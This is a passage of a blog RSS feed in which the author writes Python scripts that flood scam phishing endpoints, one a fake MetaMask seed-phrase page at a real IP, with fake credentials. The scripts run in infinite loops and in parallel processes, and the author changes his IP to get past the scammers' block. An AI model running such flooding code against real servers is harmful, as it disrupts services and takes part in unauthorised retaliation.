</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">25</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">Process</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">send_post_request</span><span class="p">)</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Info:</strong></p><p><code>fake.simple_profile()</code> from the <code>payload</code> dictionary generates a dictionary containing user information. I am only using the username portion in this case.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="p">{</span><span class="s1">&#39;username&#39;</span><span class="p">:</span> <span class="s1">&#39;ywarren&#39;</span><span class="p">,</span> <span class="s1">&#39;name&#39;</span><span class="p">:</span> <span class="s1">&#39;Patricia Lyons&#39;</span><span class="p">,</span> <span class="s1">&#39;sex&#39;</span><span class="p">:</span> <span class="s1">&#39;F&#39;</span><span class="p">,</span> <span class="s1">&#39;address&#39;</span><span class="p">:</span> <span class="s1">&#39;2910 Smith Islands Suite 134</span><span class="se">\n</span><span class="s1">Rogerschester, SC 47471&#39;</span><span class="p">,</span> <span class="s1">&#39;mail&#39;</span><span class="p">:</span> <span class="s1">&#39;joel67@gmail.com&#39;</span><span class="p">,</span> <span class="s1">&#39;birthdate&#39;</span><span class="p">:</span> <span class="n">datetime</span><span class="o">.</span><span class="n">date</span><span class="p">(</span><span class="mi">1984</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">20</span><span class="p">)}</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<p>I ran the script and left it running for a while. The time being printed out is extracted from the response headers. This way I could easily see requests as they&rsquo;re being sent in the CLI:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/cli-output.webp" alt="CLI output of requests being sent with fake credentials." width="720" height="490" style="max-width: 100%; height: auto; aspect-ratio: 1620 / 1104;" loading="lazy" decoding="async">
<p>It&rsquo;s not easy to tell in a screenshot, but with the <code>multiprocessing</code> package I was able to speed up the process of sending post requests. My terminal was filling up pretty quickly.</p>
<p>I hope I made the scammers&rsquo; lives more difficult as a result of this. I also reported the domains being used so that they are hopefully flagged by browsers in the future.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Retaliating Against MetaMask Scammers With Python</title>
      <link>https://nelson.cloud/retaliating-against-metamask-scammers-with-python/?ref=rss</link>
      <pubDate>Thu, 28 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/retaliating-against-metamask-scammers-with-python/?ref=rss</guid>
      <description>Using Python to send fake seed phrases to a MetaMask scam site.</description><content:encoded><![CDATA[<h2 id="reconnaissance">Reconnaissance</h2>
<p>Recently, I received this email:</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-email.webp" alt="fake metamask email" width="720" height="482" style="max-width: 100%; height: auto; aspect-ratio: 1190 / 798;" loading="lazy" decoding="async">
<p>I have never used MetaMask. It was pretty obvious this was a scam. I decided to check it out anyway out of curiosity.
It led me to this site which looked legit but had a major flaw: there is no domain and I&rsquo;m accessing an insecure IP address.</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-site.webp" alt="fake metamask site" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3268 / 2103;" loading="lazy" decoding="async">
<p>Still curious, I followed along and clicked on &ldquo;Start verification process&rdquo;. In the next page, there was a text field prompting me to input my seed phrase:</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-input-field.webp" alt="fake metamask input field for seed phrases" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3264 / 2101;" loading="lazy" decoding="async">
<p>So I submitted 12 random words and used the browser dev tools to figure out where my seed phrase was being sent to.</p>
<img src="/retaliating-against-metamask-scammers/fake-metamask-submission.webp" alt="fake metamask post-submission page" width="720" height="463" style="max-width: 100%; height: auto; aspect-ratio: 3262 / 2099;" loading="lazy" decoding="async">
<p>It looks like my fake seed phrase is being sent to <code>/log.php</code> as a query string through a <code>GET</code> request. I wanted to make these scammers pay somehow.
I figured I could come up with a quick script to slam this endpoint with random seed phrases to waste their time.</p>
<p>To make my made up seed phrases look more legitimate, I needed to find out if the words in seed phrases have certain limits or if they come from a pool of words. I want the scammers to try every single phrase I submit only to find out that they don&rsquo;t work.</p>
<p>After doing some reading from the official 

<a href="https://metamask.zendesk.com/hc/en-us/articles/4404722782107-User-Guide-Secret-Recovery-Phrase-password-and-private-keys#h_01FYVAXJQT914HCHEYFPNMEJEA" target="_blank" rel="noopener">MetaMask site</a>, I saw this:</p>
<img src="/retaliating-against-metamask-scammers/metamask-documentation.webp" alt="metamask documentation" width="720" height="305" style="max-width: 100%; height: auto; aspect-ratio: 1724 / 732;" loading="lazy" decoding="async">
<p>So there&rsquo;s a specific list of words that seed phrases are generated from and I have a direct link to them. This was perfect. I could use this list of words in my script:</p>
<ul>
<li>

<a href="https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt" target="_blank" rel="noopener">https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</a></li>
</ul>
<h2 id="scripting-time">Scripting Time</h2>
<p>I came up with a Python script that takes the list of words from the GitHub link, generates a 12 word seed phrase, and sends a <code>GET</code> request to the scammer URL along with the seed phrase as a query string:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">SEED_PHRASE_WORDS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># getting list of 12 random words</span>
</span></span><span class="line"><span class="cl"><span class="n">seed_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">SEED_PHRASE_WORDS</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># joining the list of 12 words into a single string</span>
</span></span><span class="line"><span class="cl"><span class="n">seed_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">seed_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl"><span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;send_words&#34;</span><span class="p">:</span> <span class="n">seed_phrase</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># sending GET request</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://176.113.115.238/38sy2a0egs6zhxv/log.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Sent phrase: </span><span class="si">{</span><span class="n">seed_phrase</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I ran this and it worked:</p>
<img src="/retaliating-against-metamask-scammers/script-output.webp" alt="script output" width="720" height="65" style="max-width: 100%; height: auto; aspect-ratio: 1468 / 134;" loading="lazy" decoding="async">
<p>The final step was to put this on a loop and leave it running for a very long time. I added a <code>while</code> loop. This is what the updated code looks like:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># List of words from https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Trimmed due to long length)</span>
</span></span><span class="line"><span class="cl"><span class="n">SEED_PHRASE_WORDS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;abandon&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;ability&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;able&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;about&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;above&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl">    <span class="o">.</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># getting list of 12 random words</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed_phrase</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">sample</span><span class="p">(</span><span class="n">SEED_PHRASE_WORDS</span><span class="p">,</span> <span class="mi">12</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># joining the list of 12 words into a single string</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed_phrase</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">seed_phrase</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># query string for request</span>
</span></span><span class="line"><span class="cl">    <span class="n">params</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;send_words&#34;</span><span class="p">:</span> <span class="n">seed_phrase</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># sending GET request</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;http://176.113.115.238/38sy2a0egs6zhxv/log.php&#34;</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="n">params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Sent phrase: </span><span class="si">{</span><span class="n">seed_phrase</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s1"> </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>After that, I left my script running overnight:</p>
<img src="/retaliating-against-metamask-scammers/script-output-2.webp" alt="script output with loop" width="720" height="503" style="max-width: 100%; height: auto; aspect-ratio: 1663 / 1163;" loading="lazy" decoding="async">
<p>The morning after, I noticed that my script output was stuck along with a new response message&hellip;</p>
<img src="/retaliating-against-metamask-scammers/scammer-response.webp" alt="scammer response" width="720" height="503" style="max-width: 100%; height: auto; aspect-ratio: 1662 / 1163;" loading="lazy" decoding="async">
<p>I guess they caught on LOL. They blocked my IP address from sending requests, so I simply changed my IP address and carried on.</p>
<blockquote><p><strong>2022-07-25 Update:</strong></p><p>I should have included headers in my requests to make them look as legitimate as possible. The <code>requests</code> Python package sends the version of the package itself in the <code>User-Agent</code> header, giving away the fact that Python is being used to send requests.</p>
<p>The following code shows an example of the <code>User-Agent</code> being sent:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;https://google.com&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; {&#39;User-Agent&#39;: &#39;python-requests/2.27.1&#39;, &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;, &#39;Accept&#39;: &#39;*/*&#39;, &#39;Connection&#39;: &#39;keep-alive&#39;}</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<p>Using 

<a href="https://www.obdev.at/products/littlesnitch/index.html" target="_blank" rel="noopener">Little Snitch</a> I was able to see that this IP address originates from Russia, which I thought was interesting.</p>
<img src="/retaliating-against-metamask-scammers/little-snitch.webp" alt="Little Snitch connection to Russia" width="720" height="304" style="max-width: 100%; height: auto; aspect-ratio: 3380 / 1429;" loading="lazy" decoding="async">
<h2 id="final-thoughts">Final Thoughts</h2>
<p>I hate scammers. I hope I made their lives difficult.
If they&rsquo;re smart, they&rsquo;ll filter out seed phrases coming in from my IP address in their database.
But considering that their fake MetaMask site doesn&rsquo;t use a domain or SSL, they probably aren&rsquo;t very bright.
Even if my original IP address was blocked, I&rsquo;m sure the seed phrases I provided polluted their database. I doubt they&rsquo;re keeping track of IP addresses at the database level.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
